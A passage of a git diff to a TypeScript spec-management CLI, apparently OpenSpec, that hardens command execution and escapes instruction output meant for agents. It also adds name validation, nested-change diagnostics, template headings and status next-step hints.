execFileSync(process.platform === 'win32' ? 'where' : 'which', ['gh'], { stdio: 'pipe' });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
@@ -25,7 +27,7 @@ function isGhInstalled(): boolean {
|
||||
*/
|
||||
function isGhAuthenticated(): boolean {
|
||||
try {
|
||||
execSync('gh auth status', { stdio: 'pipe' });
|
||||
execFileSync('gh', ['auth', 'status'], { stdio: 'pipe' });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
|
||||
+35
-9
@@ -12,7 +12,11 @@ import {
|
||||
isSchemaDir,
|
||||
listSchemas,
|
||||
} from '../core/artifact-graph/resolver.js';
|
||||
import { parseSchema, SchemaValidationError } from '../core/artifact-graph/schema.js';
|
||||
import {
|
||||
findApplyTracksWarning,
|
||||
parseSchema,
|
||||
SchemaValidationError,
|
||||
} from '../core/artifact-graph/schema.js';
|
||||
import type { SchemaYaml, Artifact } from '../core/artifact-graph/types.js';
|
||||
import { resolveConfigFilePath } from '../core/project-config.js';
|
||||
import { FileSystemUtils } from '../utils/file-system.js';
|
||||
@@ -227,13 +231,20 @@ function validateSchema(
|
||||
}
|
||||
}
|
||||
|
||||
// Dependency graph validation is already done by parseSchema
|
||||
// (it throws on cycles and invalid references)
|
||||
// Dependency graph validation is already done by parseSchema (it throws on
|
||||
// cycles, invalid references, and an unknown apply.requires id)
|
||||
if (verbose) {
|
||||
console.log(' Dependency graph validation passed (via parseSchema)');
|
||||
}
|
||||
|
||||
return { valid: issues.length === 0, issues };
|
||||
// An apply.tracks value that matches no generates value exactly still loads
|
||||
// (apply reads the path as written), so it is a warning, not an error.
|
||||
const tracksWarning = findApplyTracksWarning(schema);
|
||||
if (tracksWarning) {
|
||||
issues.push({ level: 'warning', path: 'apply.tracks', message: tracksWarning });
|
||||
}
|
||||
|
||||
return { valid: !issues.some((issue) => issue.level === 'error'), issues };
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -740,6 +751,9 @@ export function registerSchemaCommand(program: Command): void {
|
||||
} else {
|
||||
if (result.valid) {
|
||||
console.log(`✓ Schema '${name}' is valid`);
|
||||
for (const issue of result.issues) {
|
||||
console.log(` ${issue.level}: ${issue.message}`);
|
||||
}
|
||||
} else {
|
||||
console.log(`✗ Schema '${name}' has errors:`);
|
||||
for (const issue of result.issues) {
|
||||
@@ -1408,11 +1422,17 @@ export function registerSchemaCommand(program: Command): void {
|
||||
|
||||
/**
|
||||
* Create default template content for an artifact.
|
||||
*
|
||||
* Every template opens with a top-level heading so the artifact it produces is
|
||||
* a well-formed markdown document rather than a file whose first line is a
|
||||
* section header (markdownlint MD041, #1138).
|
||||
*/
|
||||
function createDefaultTemplate(artifactId: string): string {
|
||||
switch (artifactId) {
|
||||
case 'proposal':
|
||||
return `## Why
|
||||
return `# Proposal
|
||||
|
||||
## Why
|
||||
|
||||
<!-- Describe the motivation for this change -->
|
||||
|
||||
@@ -1434,7 +1454,9 @@ function createDefaultTemplate(artifactId: string): string {
|
||||
`;
|
||||
|
||||
case 'specs':
|
||||
return `## ADDED Requirements
|
||||
return `# Spec Delta
|
||||
|
||||
## ADDED Requirements
|
||||
|
||||
### Requirement: Example requirement
|
||||
|
||||
@@ -1446,7 +1468,9 @@ Description of the requirement.
|
||||
`;
|
||||
|
||||
case 'design':
|
||||
return `## Context
|
||||
return `# Design
|
||||
|
||||
## Context
|
||||
|
||||
<!-- Background and context -->
|
||||
|
||||
@@ -1473,7 +1497,9 @@ Description and rationale.
|
||||
`;
|
||||
|
||||
case 'tasks':
|
||||
return `## Implementation Tasks
|
||||
return `# Tasks
|
||||
|
||||
## Implementation Tasks
|
||||
|
||||
- [ ] Task 1
|
||||
- [ ] Task 2
|
||||
@@ -1481,7 +1507,7 @@ Description and rationale.
|
||||
`;
|
||||
|
||||
default:
|
||||
return `## ${artifactId}
|
||||
return `# ${artifactId}
|
||||
|
||||
<!-- Add content here -->
|
||||
`;
|
||||
|
||||
@@ -294,9 +294,12 @@ async function resolveSetupInput(
|
||||
|
||||
async function prepareSetupInput(
|
||||
input: ResolvedStoreSetupInput,
|
||||
_options: StoreSetupOptions
|
||||
options: StoreSetupOptions
|
||||
) {
|
||||
return prepareStoreSetup(input);
|
||||
return prepareStoreSetup({
|
||||
...input,
|
||||
...(options.initGit !== undefined ? { initGit: options.initGit } : {}),
|
||||
});
|
||||
}
|
||||
|
||||
async function confirmSetup(
|
||||
|
||||
@@ -1,6 +1,12 @@
|
||||
import ora from 'ora';
|
||||
import path from 'path';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChangesIn,
|
||||
NESTED_CHANGE_ISSUE_MARKER,
|
||||
} from '../utils/nested-change.js';
|
||||
import { Validator } from '../core/validation/validator.js';
|
||||
import type { ValidationIssue } from '../core/validation/types.js';
|
||||
import { VALIDATION_MESSAGES } from '../core/validation/constants.js';
|
||||
import {
|
||||
resolveRootForCommand,
|
||||
@@ -16,6 +22,7 @@ import { nearestMatches } from '../utils/match.js';
|
||||
import { promises as fs } from 'fs';
|
||||
import { getTaskProgressDetailForChange, type SchemaGlobCache } from '../utils/task-progress.js';
|
||||
import { FileSystemUtils } from '../utils/file-system.js';
|
||||
import { folderStyleNameProblem } from '../core/id.js';
|
||||
|
||||
type ItemType = 'change' | 'spec';
|
||||
|
||||
@@ -270,11 +277,63 @@ export class ValidateCommand {
|
||||
await this.validateByType(root, type, itemName, opts);
|
||||
}
|
||||
|
||||
/**
|
||||
* A namespace folder wrapping nested change directories has no deltas of its
|
||||
* own and never will. The usual "add a delta spec" error points the author at
|
||||
* a directory that is not the change, so the nesting is reported instead
|
||||
* (#1846). Returns undefined for every ordinary change.
|
||||
*/
|
||||
private async nestedChangeReport(
|
||||
root: ResolvedOpenSpecRoot,
|
||||
id: string
|
||||
): Promise<{ valid: false; issues: ValidationIssue[] } | undefined> {
|
||||
const nested = await findNestedChangesIn(root.changesDir, id);
|
||||
if (!nested) return undefined;
|
||||
return {
|
||||
valid: false,
|
||||
issues: [{ level: 'ERROR', path: 'file', message: describeNestedChange(nested) }],
|
||||
};
|
||||
}
|
||||
|
||||
private async validateByType(root: ResolvedOpenSpecRoot, type: ItemType, id: string, opts: { strict: boolean; json: boolean }): Promise<void> {
|
||||
// `--type` skips the membership check above, so the name still has to be
|
||||
// guarded before it is joined onto a directory. `show` already rejects a
|
||||
// traversing id.
|
||||
//
|
||||
// Spec ids are nested (`specs/<area>/<capability>/spec.md`, #1353), so the
|
||||
// guard runs per segment - rejecting the whole id for containing a `/`
|
||||
// would break every nested capability, including the hint that
|
||||
// `validate --specs` prints. Change names are flat, so they keep the
|
||||
// whole-value check.
|
||||
const nameProblem =
|
||||
type === 'change'
|
||||
? folderStyleNameProblem(id, 'Change name')
|
||||
: (id.split('/').map((segment) => folderStyleNameProblem(segment, 'Spec id')).find(Boolean) ?? null);
|
||||
if (nameProblem) {
|
||||
if (opts.json) {
|
||||
console.log(
|
||||
JSON.stringify(
|
||||
{ status: [{ severity: 'error', code: 'invalid_item', message: nameProblem }] },
|
||||
null,
|
||||
2
|
||||
)
|
||||
);
|
||||
} else {
|
||||
console.error(nameProblem);
|
||||
}
|
||||
process.exitCode = 1;
|
||||
return;
|
||||
}
|
||||
const validator = new Validator(opts.strict);
|
||||
if (type === 'change') {
|
||||
const changeDir = path.join(root.changesDir, id);
|
||||
const start = Date.now();
|
||||
const nestedReport = await this.nestedChangeReport(root, id);
|
||||
if (nestedReport) {
|
||||
this.printReport('change', id, nestedReport, Date.now() - start, opts.json, root);
|
||||
process.exitCode = 1;
|
||||
return;
|
||||
}
|
||||
const report = await validator.validateChangeDeltaSpecs(changeDir, {
|
||||
mainSpecsDir: root.specsDir,
|
||||
projectRoot: root.path,
|
||||
@@ -325,7 +384,13 @@ export class ValidateCommand {
|
||||
const invalidMarkerIssue = issues.some(i =>
|
||||
i.message.includes(VALIDATION_MESSAGES.CHANGE_SKIP_SPECS_INVALID_METADATA)
|
||||
);
|
||||
if (type === 'change' && conflictIssue) {
|
||||
// A namespace folder has no deltas to author, so the delta-authoring
|
||||
// bullets below would point at a directory that is not the change (#1846).
|
||||
const nestedIssue = issues.some(i => i.message.includes(NESTED_CHANGE_ISSUE_MARKER));
|
||||
if (type === 'change' && nestedIssue) {
|
||||
bullets.push('- Move each nested change directly under openspec/changes/, folding the namespace into its name');
|
||||
bullets.push('- Only specs may be nested by domain; change directories are always flat');
|
||||
} else if (type === 'change' && conflictIssue) {
|
||||
bullets.push('- This change declares skip_specs (no spec deltas): delete the files under specs/, or remove skip_specs from .openspec.yaml if requirements do change');
|
||||
bullets.push('- skip_specs is only honored when .openspec.yaml is valid change metadata (schema: <name> naming a known schema is required)');
|
||||
} else if (type === 'change' && invalidMarkerIssue) {
|
||||
@@ -392,6 +457,16 @@ export class ValidateCommand {
|
||||
queue.push(async () => {
|
||||
const start = Date.now();
|
||||
const changeDir = path.join(root.changesDir, id);
|
||||
const nestedReport = await this.nestedChangeReport(root, id);
|
||||
if (nestedReport) {
|
||||
return {
|
||||
id,
|
||||
type: 'change' as const,
|
||||
valid: false,
|
||||
issues: nestedReport.issues,
|
||||
durationMs: Date.now() - start,
|
||||
};
|
||||
}
|
||||
const report = await validator.validateChangeDeltaSpecs(changeDir, {
|
||||
mainSpecsDir: root.specsDir,
|
||||
projectRoot: root.path,
|
||||
|
||||
@@ -12,11 +12,11 @@ import {
|
||||
loadChangeContext,
|
||||
generateInstructions,
|
||||
resolveSchema,
|
||||
resolveArtifactOutputPath,
|
||||
resolveArtifactOutputs,
|
||||
type ArtifactInstructions,
|
||||
} from '../../core/artifact-graph/index.js';
|
||||
import { isSpecsArtifactPath } from '../../core/artifact-graph/outputs.js';
|
||||
import { findUnreadDeltaFiles } from '../../utils/spec-discovery.js';
|
||||
import {
|
||||
getChangeDir,
|
||||
resolveCurrentPlanningHomeSync,
|
||||
@@ -31,8 +31,11 @@ import {
|
||||
} from '../../core/root-selection.js';
|
||||
import {
|
||||
assembleReferenceIndex,
|
||||
escapeEnvelopeAttribute,
|
||||
escapeEnvelopeTags,
|
||||
renderReferencedStoresBlock,
|
||||
renderReferencedStoresSection,
|
||||
sanitizeInline,
|
||||
type ReferenceIndexEntry,
|
||||
} from '../../core/references.js';
|
||||
import { readRegistrySnapshot } from '../../core/store/registry.js';
|
||||
@@ -198,8 +201,14 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
unlocks,
|
||||
} = instructions;
|
||||
|
||||
// Opening tag
|
||||
console.log(`<artifact id="${artifactId}" change="${changeName}" schema="${schemaName}">`);
|
||||
// Opening tag. The change name is a directory name read from disk, and the
|
||||
// read path rejects only separators and NUL - a quote in it would otherwise
|
||||
// close the attribute and forge siblings on this tag.
|
||||
console.log(
|
||||
`<artifact id="${escapeEnvelopeAttribute(artifactId)}"` +
|
||||
` change="${escapeEnvelopeAttribute(changeName)}"` +
|
||||
` schema="${escapeEnvelopeAttribute(schemaName)}">`
|
||||
);
|
||||
console.log();
|
||||
|
||||
// Artifacts skipped via skip_specs get no creation directive: emitting the
|
||||
@@ -226,8 +235,10 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
|
||||
// Task directive
|
||||
console.log('<task>');
|
||||
console.log(`Create the ${artifactId} artifact for change "${changeName}".`);
|
||||
console.log(description);
|
||||
console.log(
|
||||
`Create the ${escapeEnvelopeTags(artifactId)} artifact for change "${escapeEnvelopeTags(changeName)}".`
|
||||
);
|
||||
console.log(escapeEnvelopeTags(description));
|
||||
console.log('</task>');
|
||||
console.log();
|
||||
|
||||
@@ -235,7 +246,7 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
if (context) {
|
||||
console.log('<project_context>');
|
||||
console.log('<!-- This is background information for you. Do NOT include this in your output. -->');
|
||||
console.log(context);
|
||||
console.log(escapeEnvelopeTags(context));
|
||||
console.log('</project_context>');
|
||||
console.log();
|
||||
}
|
||||
@@ -251,7 +262,9 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
console.log('<rules>');
|
||||
console.log('<!-- These are constraints for you to follow. Do NOT include this in your output. -->');
|
||||
for (const rule of rules) {
|
||||
console.log(`- ${rule}`);
|
||||
// Flattened so a newline cannot forge a sibling bullet, but never
|
||||
// truncated: these are instructions an agent has to follow in full.
|
||||
console.log(`- ${escapeEnvelopeTags(sanitizeInline(rule, Infinity))}`);
|
||||
}
|
||||
console.log('</rules>');
|
||||
console.log();
|
||||
@@ -276,7 +289,7 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
const fullPath = path.join(changeDir, dep.path);
|
||||
console.log(`<dependency id="${dep.id}" status="${status}">`);
|
||||
console.log(` <path>${fullPath}</path>`);
|
||||
console.log(` <description>${dep.description}</description>`);
|
||||
console.log(` <description>${escapeEnvelopeTags(dep.description)}</description>`);
|
||||
console.log('</dependency>');
|
||||
}
|
||||
console.log('</dependencies>');
|
||||
@@ -292,7 +305,7 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
// Instruction (guidance)
|
||||
if (instruction) {
|
||||
console.log('<instruction>');
|
||||
console.log(instruction.trim());
|
||||
console.log(escapeEnvelopeTags(instruction.trim()));
|
||||
console.log('</instruction>');
|
||||
console.log();
|
||||
}
|
||||
@@ -300,7 +313,10 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
// Template
|
||||
console.log('<template>');
|
||||
console.log('<!-- Use this as the structure for your output file. Fill in the sections. -->');
|
||||
console.log(template.trim());
|
||||
// Copied verbatim into the artifact file, so its `<!-- ... -->` comments and
|
||||
// `<placeholder>` markers must survive - only the envelope's own closing
|
||||
// tags are neutralized.
|
||||
console.log(escapeEnvelopeTags(template.trim()));
|
||||
console.log('</template>');
|
||||
console.log();
|
||||
|
||||
@@ -436,14 +452,18 @@ function collectMissingPrerequisites(input: {
|
||||
* reached tasks yet, the missing specs are the next step rather than a warning.
|
||||
* Schemas that declare no spec-producing artifact carry `skip_specs` from
|
||||
* creation, so this never fires on them.
|
||||
*
|
||||
* A delta file the merge path never reads (specs/<capability>.md, a note
|
||||
* beside spec.md) still satisfies the specs glob, so it reads as written here
|
||||
* while validate rejects it and archive would drop it. Each one is named.
|
||||
*/
|
||||
function collectApplyWarnings(input: {
|
||||
async function collectApplyWarnings(input: {
|
||||
state: ApplyInstructions['state'];
|
||||
schema: { artifacts: { id: string; generates: string }[] };
|
||||
changeDir: string;
|
||||
changeName: string;
|
||||
skippedArtifacts?: Set<string>;
|
||||
}): string[] {
|
||||
}): Promise<string[]> {
|
||||
const { state, schema, changeDir, changeName, skippedArtifacts } = input;
|
||||
if (state === 'blocked') return [];
|
||||
|
||||
@@ -452,10 +472,15 @@ function collectApplyWarnings(input: {
|
||||
);
|
||||
if (specArtifacts.length === 0) return [];
|
||||
if (specArtifacts.some((artifact) => skippedArtifacts?.has(artifact.id))) return [];
|
||||
const warnings = (await findUnreadDeltaFiles(path.join(changeDir, 'specs'))).map(
|
||||
(file) =>
|
||||
`specs/${file.path} is not a capability's spec.md, so \`openspec validate ${changeName}\` rejects it and archive never merges it. ` +
|
||||
`Move its requirements into specs/${file.expected}.`
|
||||
);
|
||||
const hasDeltas = specArtifacts.some(
|
||||
(artifact) => resolveArtifactOutputs(changeDir, artifact.generates).length > 0
|
||||
);
|
||||
if (hasDeltas) return [];
|
||||
if (hasDeltas) return warnings;
|
||||
|
||||
const metadataPath = path.join(changeDir, METADATA_FILENAME);
|
||||
// The command names the artifact this schema actually declares, never the
|
||||
@@ -466,6 +491,7 @@ function collectApplyWarnings(input: {
|
||||
// a placeholder rather than a guess.
|
||||
const specTarget = specArtifacts.length === 1 ? specArtifacts[0].id : '<artifact-id>';
|
||||
return [
|
||||
...warnings,
|
||||
`This change has no delta specs and does not declare \`skip_specs: true\`, so \`openspec validate ${changeName}\` fails on it. ` +
|
||||
`Write the delta specs before implementing (\`openspec instructions ${specTarget} --change ${changeName}\`), ` +
|
||||
`or add \`skip_specs: true\` to ${metadataPath} if this change really changes no specified behavior.`,
|
||||
@@ -542,15 +568,27 @@ export async function generateApplyInstructions(
|
||||
}
|
||||
}
|
||||
|
||||
// Parse tasks if tracking file exists
|
||||
// Parse every concrete file matched by apply.tracks. A tracking path may be
|
||||
// a glob owned by an artifact with any ID, so treating it as one literal
|
||||
// path loses task evidence for valid custom schemas.
|
||||
let parsedTasks: ParsedTask[] = [];
|
||||
const unavailableTrackingFiles: Array<{ path: string; reason: string }> = [];
|
||||
let tracksFileExists = false;
|
||||
if (tracksFile) {
|
||||
const tracksPath = resolveArtifactOutputPath(changeDir, tracksFile);
|
||||
tracksFileExists = fs.existsSync(tracksPath);
|
||||
if (tracksFileExists) {
|
||||
const tasksContent = await fs.promises.readFile(tracksPath, 'utf-8');
|
||||
parsedTasks = parseTaskLines(tasksContent);
|
||||
const tracksPaths = resolveArtifactOutputs(changeDir, tracksFile);
|
||||
tracksFileExists = tracksPaths.length > 0;
|
||||
for (const tracksPath of tracksPaths) {
|
||||
try {
|
||||
const tasksContent = await fs.promises.readFile(tracksPath, 'utf-8');
|
||||
parsedTasks.push(...parseTaskLines(tasksContent));
|
||||
} catch (error) {
|
||||
const code = (error as NodeJS.ErrnoException)?.code;
|
||||
const message = error instanceof Error ? error.message : String(error);
|
||||
unavailableTrackingFiles.push({
|
||||
path: tracksPath,
|
||||
reason: code && !message.includes(code) ? `${code}: ${message}` : message,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
const tasks = toTaskItems(parsedTasks);
|
||||
@@ -588,6 +626,9 @@ export async function generateApplyInstructions(
|
||||
instruction =
|
||||
`The ${tracksFilename} file is missing and must be created.` +
|
||||
`\n${describeArtifactRemedy(changeName, findArtifactIdFor(schema, tracksFile))}`;
|
||||
} else if (tracksFile && unavailableTrackingFiles.length > 0 && tasks.length === 0) {
|
||||
state = 'blocked';
|
||||
instruction = 'No readable task descriptions are available.';
|
||||
} else if (tracksFile && tracksFileExists && tasks.length === 0) {
|
||||
// Tracking file exists but lists nothing an agent can work on: either no
|
||||
// checkboxes at all, or only checkboxes with no text after them.
|
||||
@@ -596,7 +637,12 @@ export async function generateApplyInstructions(
|
||||
instruction =
|
||||
`The ${tracksFilename} file exists but contains no tasks to work on.` +
|
||||
`\nAdd tasks to ${tracksFilename}, or rebuild it: ${describeArtifactRemedy(changeName, findArtifactIdFor(schema, tracksFile))}`;
|
||||
} else if (tracksFile && remaining === 0 && total > 0) {
|
||||
} else if (
|
||||
tracksFile &&
|
||||
unavailableTrackingFiles.length === 0 &&
|
||||
remaining === 0 &&
|
||||
total > 0
|
||||
) {
|
||||
state = 'all_done';
|
||||
instruction = 'All tasks are complete! This change is ready to be archived.\nConsider running tests and reviewing the changes before archiving.';
|
||||
} else if (!tracksFile) {
|
||||
@@ -608,7 +654,14 @@ export async function generateApplyInstructions(
|
||||
instruction = schemaInstruction?.trim() ?? 'Read context files, work through pending tasks, mark complete as you go.\nPause if you hit blockers or need clarification.';
|
||||
}
|
||||
|
||||
const warnings = collectApplyWarnings({
|
||||
if (unavailableTrackingFiles.length > 0) {
|
||||
const unavailableDetails = unavailableTrackingFiles
|
||||
.map((file) => `- ${file.path}: ${file.reason}`)
|
||||
.join('\n');
|
||||
instruction += `\nTask completion is not verified because tracking evidence was unavailable:\n${unavailableDetails}`;
|
||||
}
|
||||
|
||||
const warnings = await collectApplyWarnings({
|
||||
state,
|
||||
schema,
|
||||
changeDir,
|
||||
@@ -623,6 +676,8 @@ export async function generateApplyInstructions(
|
||||
contextFiles,
|
||||
progress: { total, complete, remaining },
|
||||
tasks,
|
||||
taskTrackingConfigured: tracksFile !== null,
|
||||
...(unavailableTrackingFiles.length > 0 ? { unavailableTrackingFiles } : {}),
|
||||
state,
|
||||
missingArtifacts: missingArtifacts.length > 0 ? missingArtifacts : undefined,
|
||||
...(missingPrerequisites.length > 0 ? { missingPrerequisites } : {}),
|
||||
@@ -814,6 +869,8 @@ function printOperationInputsText(inputs: {
|
||||
}): void {
|
||||
if (inputs.context) {
|
||||
console.log('### Project Context (required instruction input)');
|
||||
// Printed verbatim on purpose. Escaping a leading `#` would also fire inside
|
||||
// fenced code (`# install deps`), so heading forgery is not guarded here.
|
||||
console.log(inputs.context);
|
||||
console.log();
|
||||
}
|
||||
@@ -821,7 +878,7 @@ function printOperationInputsText(inputs: {
|
||||
if (inputs.operationGuidance && inputs.operationGuidance.length > 0) {
|
||||
console.log('### Operation Guidance (advisory)');
|
||||
for (const guidance of inputs.operationGuidance) {
|
||||
console.log(`- ${guidance}`);
|
||||
console.log(`- ${sanitizeInline(guidance, Infinity)}`);
|
||||
}
|
||||
console.log();
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
* this command.
|
||||
*/
|
||||
|
||||
import chalk from 'chalk';
|
||||
import ora from 'ora';
|
||||
import path from 'path';
|
||||
import { createChange, validateChangeName } from '../../utils/change-utils.js';
|
||||
@@ -85,6 +86,33 @@ function printCreatedChangeHuman(
|
||||
console.log(`Next: ${withStoreFlag(root, `openspec status --change ${payload.change.id}`)}`);
|
||||
}
|
||||
|
||||
/**
|
||||
* An implicit root is the fallback taken when no `openspec/` directory was
|
||||
* found: creating a change there materializes OpenSpec in whatever directory
|
||||
* the caller happened to be in, which is how an agent ends up adopting a
|
||||
* project that never ran `openspec init` (#1645). The creation itself stays
|
||||
* zero-config; this only makes it visible.
|
||||
*/
|
||||
function printImplicitRootNotice(root: ResolvedOpenSpecRoot): void {
|
||||
if (root.source !== 'implicit') {
|
||||
return;
|
||||
}
|
||||
|
||||
const openspecDir = path.dirname(root.changesDir);
|
||||
const relative = path.relative(process.cwd(), openspecDir);
|
||||
const location = relative && !relative.startsWith('..') ? relative : openspecDir;
|
||||
|
||||
console.log();
|
||||
console.log(
|
||||
chalk.dim(`Note: no OpenSpec root was found here, so one was created at ${location}/.`)
|
||||
);
|
||||
console.log(
|
||||
chalk.dim(
|
||||
'Run `openspec init` to finish setting this project up, or delete that directory if you meant a different project.'
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
export async function newChangeCommand(name: string | undefined, options: NewChangeOptions): Promise<void> {
|
||||
const spinner = options.json ? undefined : ora();
|
||||
|
||||
@@ -153,6 +181,7 @@ export async function newChangeCommand(name: string | undefined, options: NewCha
|
||||
|
||||
spinner?.stop();
|
||||
printCreatedChangeHuman(payload, root);
|
||||
printImplicitRootNotice(root);
|
||||
} catch (error) {
|
||||
spinner?.stop();
|
||||
if (options.json) {
|
||||
|
||||
@@ -7,6 +7,10 @@
|
||||
|
||||
import chalk from 'chalk';
|
||||
import path from 'path';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChangesIn,
|
||||
} from '../../utils/nested-change.js';
|
||||
import * as fs from 'fs';
|
||||
import { getSchemaDir, listSchemas } from '../../core/artifact-graph/index.js';
|
||||
import type { ReferenceIndexEntry } from '../../core/references.js';
|
||||
@@ -41,6 +45,11 @@ export interface ApplyInstructions {
|
||||
remaining: number;
|
||||
};
|
||||
tasks: TaskItem[];
|
||||
taskTrackingConfigured: boolean;
|
||||
unavailableTrackingFiles?: Array<{
|
||||
path: string;
|
||||
reason: string;
|
||||
}>;
|
||||
state: 'blocked' | 'all_done' | 'ready';
|
||||
missingArtifacts?: string[];
|
||||
/**
|
||||
@@ -231,6 +240,14 @@ export async function validateChangeExists(
|
||||
);
|
||||
}
|
||||
|
||||
// The directory exists but is a namespace folder wrapping nested change
|
||||
// directories. Every artifact lookup below it would report "not started" for
|
||||
// work that is in fact there, so say what is actually wrong instead (#1846).
|
||||
const nested = await findNestedChangesIn(changesDir, changeName);
|
||||
if (nested) {
|
||||
throw new Error(describeNestedChange(nested));
|
||||
}
|
||||
|
||||
return changeName;
|
||||
}
|
||||
|
||||
|
||||
@@ -19,7 +19,12 @@ import {
|
||||
formatChangeStatus,
|
||||
type ChangeStatus,
|
||||
} from '../../core/artifact-graph/index.js';
|
||||
import { resolveNextStep } from '../../core/change-status-policy.js';
|
||||
import { asStatus } from '../shared-output.js';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChanges,
|
||||
} from '../../utils/nested-change.js';
|
||||
import type { StoreDiagnostic } from '../../core/store/errors.js';
|
||||
import {
|
||||
validateChangeExists,
|
||||
@@ -82,6 +87,11 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
|
||||
const rootOutput = toRootOutput(root);
|
||||
const newChangeHint = withStoreFlag(root, 'openspec new change <name>');
|
||||
|
||||
// One store-flag decision serves the JSON `nextSteps` sentence and the text
|
||||
// `Next:` line, so a store-selected root can never carry `--store` in one
|
||||
// and drop it from the other.
|
||||
const storeOptions = isStoreSelectedRoot(root) ? { storeId: root.storeId } : {};
|
||||
|
||||
// Single definition of "load one change's status" so the batch and
|
||||
// single-change payloads can never drift apart.
|
||||
const loadStatus = (changeName: string): ChangeStatus =>
|
||||
@@ -90,7 +100,7 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
|
||||
changeDir: getChangeDir(planningHome, changeName),
|
||||
planningHome,
|
||||
}),
|
||||
isStoreSelectedRoot(root) ? { storeId: root.storeId } : {}
|
||||
storeOptions
|
||||
);
|
||||
|
||||
// Handle no-changes case gracefully — status is informational,
|
||||
@@ -124,7 +134,25 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
|
||||
// with the same comparator validate --all uses so the two batch
|
||||
// commands order a given change set identically.
|
||||
const entries: BatchStatusEntry[] = [];
|
||||
// The sweep reads each directory straight through `loadStatus`, so a
|
||||
// namespace folder wrapping nested changes would report a whole
|
||||
// artifact plan for work that is not there (#1846). It carries the same
|
||||
// per-change diagnostic a malformed change does.
|
||||
const nestedByName = new Map(
|
||||
(await findNestedChanges(root.changesDir, available)).map((finding) => [
|
||||
finding.name,
|
||||
finding,
|
||||
])
|
||||
);
|
||||
for (const changeName of available.sort((a, b) => a.localeCompare(b))) {
|
||||
const nested = nestedByName.get(changeName);
|
||||
if (nested) {
|
||||
entries.push({
|
||||
changeName,
|
||||
status: [asStatus(new Error(describeNestedChange(nested)), 'change_error')],
|
||||
});
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
entries.push(loadStatus(changeName));
|
||||
} catch (error) {
|
||||
@@ -150,7 +178,7 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
|
||||
console.log();
|
||||
}
|
||||
if ('artifacts' in entry) {
|
||||
printStatusText(entry);
|
||||
printStatusText(entry, storeOptions);
|
||||
} else {
|
||||
console.log(chalk.red(`✗ ${entry.changeName}: ${entry.status[0]?.message}`));
|
||||
}
|
||||
@@ -195,14 +223,19 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
|
||||
return;
|
||||
}
|
||||
|
||||
printStatusText(status);
|
||||
printStatusText(status, storeOptions);
|
||||
} catch (error) {
|
||||
spinner?.stop();
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
export function printStatusText(status: ChangeStatus): void {
|
||||
export interface PrintStatusTextOptions {
|
||||
/** Selected store id, so the printed command carries `--store`. */
|
||||
storeId?: string;
|
||||
}
|
||||
|
||||
export function printStatusText(status: ChangeStatus, options: PrintStatusTextOptions = {}): void {
|
||||
const doneCount = status.artifacts.filter((a) => a.status === 'done').length;
|
||||
const skippedCount = status.artifacts.filter((a) => a.status === 'skipped').length;
|
||||
const total = status.artifacts.length - skippedCount;
|
||||
@@ -232,8 +265,26 @@ export function printStatusText(status: ChangeStatus): void {
|
||||
console.log(line);
|
||||
}
|
||||
|
||||
if (status.isPlanningComplete) {
|
||||
// Derived from the same inputs as the JSON `nextSteps` sentence, so the two
|
||||
// surfaces always name the same command. Without this line the text surface
|
||||
// reports state and no verb, which leaves someone resuming a change - after a
|
||||
// lost session, or on a change they did not start - with nowhere to go.
|
||||
const nextStep = resolveNextStep({
|
||||
changeName: status.changeName,
|
||||
artifactStatuses: status.artifacts,
|
||||
allArtifactsComplete: status.isPlanningComplete,
|
||||
...(options.storeId ? { storeId: options.storeId } : {}),
|
||||
});
|
||||
|
||||
if (status.isPlanningComplete || nextStep) {
|
||||
console.log();
|
||||
}
|
||||
|
||||
if (status.isPlanningComplete) {
|
||||
console.log(chalk.green('All planning artifacts complete!'));
|
||||
}
|
||||
|
||||
if (nextStep) {
|
||||
console.log(`Next: ${nextStep.command}`);
|
||||
}
|
||||
}
|
||||
|
||||
+330
-80
@@ -21,13 +21,18 @@ import {
|
||||
writeUpdatedSpec,
|
||||
retireSpec,
|
||||
finalizeRetiredSpec,
|
||||
pruneEmptyDirs,
|
||||
type SpecUpdate,
|
||||
} from './specs-apply.js';
|
||||
import { discoverSpecFiles, hasAnyFileUnder } from '../utils/spec-discovery.js';
|
||||
import { discoverSpecFiles, findUnreadDeltaFiles, hasAnyFileUnder } from '../utils/spec-discovery.js';
|
||||
import { METADATA_FILENAME, readRetireCapabilitiesMarker, readSkipSpecsMarker } from '../utils/change-metadata.js';
|
||||
import { confirmPrompt, isNonInteractivePromptError } from '../utils/interactive.js';
|
||||
import { FileSystemUtils } from '../utils/file-system.js';
|
||||
import { folderStyleNameProblem } from './id.js';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChangesIn,
|
||||
} from '../utils/nested-change.js';
|
||||
|
||||
function isMissingPathError(error: unknown): boolean {
|
||||
return (
|
||||
@@ -374,6 +379,17 @@ async function copyDirContents(src: string, dest: string): Promise<void> {
|
||||
await fs.chmod(dest, sourceStat.mode & 0o7777);
|
||||
}
|
||||
|
||||
type TreeEntry = { relative: string; kind: 'directory' | 'file' | 'symlink' };
|
||||
|
||||
/** SHA-256 of one file's bytes, streamed so a large file is never held whole. */
|
||||
async function fingerprintFileContents(filePath: string): Promise<Buffer> {
|
||||
